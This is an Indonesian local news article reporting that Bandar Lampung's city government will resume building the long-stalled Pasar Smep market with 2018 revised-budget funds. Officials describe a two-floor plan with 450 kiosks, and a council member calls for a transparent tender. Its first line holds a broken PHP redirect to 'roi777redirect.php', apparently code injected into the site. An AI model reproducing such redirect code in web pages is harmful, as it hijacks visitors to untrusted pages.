header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Pembangunan Pasar Smep akan Dilanjutkan Pemkot -
Pembangunan Pasar Smep akan Dilanjutkan Pemkot

Gunakan APBD-P Tahun 2018

TRANSLAMPUNG.COM, BANDARLAMPUNG – Gunakan Anggaran Pendapatan dan Belanja Daerah Perubahan (APBD-P) tahun 2018, Pemerintah Kota (Pemkot) Bandarlampung lanjutkan pembangunan Pasar Smep.

Sekertaris Kota (Sekkot) BandarLampung Badri Tamam menjelaskan, kali ini pembangunan Pasar Smep akan diambil alih Pemkot setempat.

Dengan alasan, pekerjaan Pasar Smep sempat mangkrak lantaran pembangunan dilakukan pihak ketiga.

Agar hal tersebut tak terulang, Pemkot akan mengambil alih pembangunan Pasar Smep.

Disinggung terkait berapakah besar anggaran APBD-P yang akan digunakan untuk pembangunan itu.

Pria akrab disapa Badri tidak bisa menjelaskan secara detail,  dengan alaaan hal tersebut masih dalam tahap pengkajian.

Sebelumnya. Sudah 5 tahun lebih setelah ditinggali PT Prabu Artha, proyek pembangunan Pasar Smep, Bandar Lampung mangkrak. Hingga kini tidak ada satu pun pengembang yang bersedia membangun pasar yang berada di jantung kota tersebut.

Sementara Kabid Cipta Karya Dinas PU Bandarlampung, Supardi mengungkapkan, untuk pembangunan pasar smep akan dibangun dua tahap, yakni pada tahun 2018 bagian perencanannya, dan pada awal tahun 2019 memulai pembangunan.

Ia mengungkapkan, nantinya pembangunan tersebut diubah yakni menjadi dua lantai.

“Kalau kemaren kan rencananya dibangun 8 lantai dengan ada hotel didalamnya, tetapi saat ini hanya dua lantai, yakni satu lantai basement untuk pedagang sayuran, ikan dan lain-lain, sedangkan lantai dua untuk pedagang pakaian,” jelasnya.

Ia menjelaskan, pembangunan pasar ini nantinya akan menampung seluruh pedagang yang berada di TPS Batu Sangkar, yakni sebanyak 450 pedagang.

“Kami akan buat 450 kios disana (pasar smep) untuk menampung semua pedagang, mudah-mudahan cukup lah,” kata dia.

Ia menjelaskan, setelah perencanaan, maka akan dilakukan tender pelelangan untuk menentukan siapa yang akan membangun pasar smep tersebut.

Terpisah, Anggota Komisi III DPRD Bandar Lampung, M Yusuf Erdiyansyah Putra mengungkapkan, sistem lelang harus dilakukan secara transparan dan terbuka.

Sehingga bisa dilihat track record pengembang pasar smep.

“Jangan sampai kejadian PT Prabu Makmur sebagai pengembang terulang kembali,” kata dia.

Ia juga meminta agar Pemkot melibatkan DPRD Bandar Lampung untuk mengawal dan mengetaui rekanan yang kan mengerjakan.

“Kami harapkan ada rapat dulu dengan komisi II sehingga tidak ada lagi masalah dikemudian hari dalam pengerjaannya,” tandasnya. (jef/hkw)

News Reporter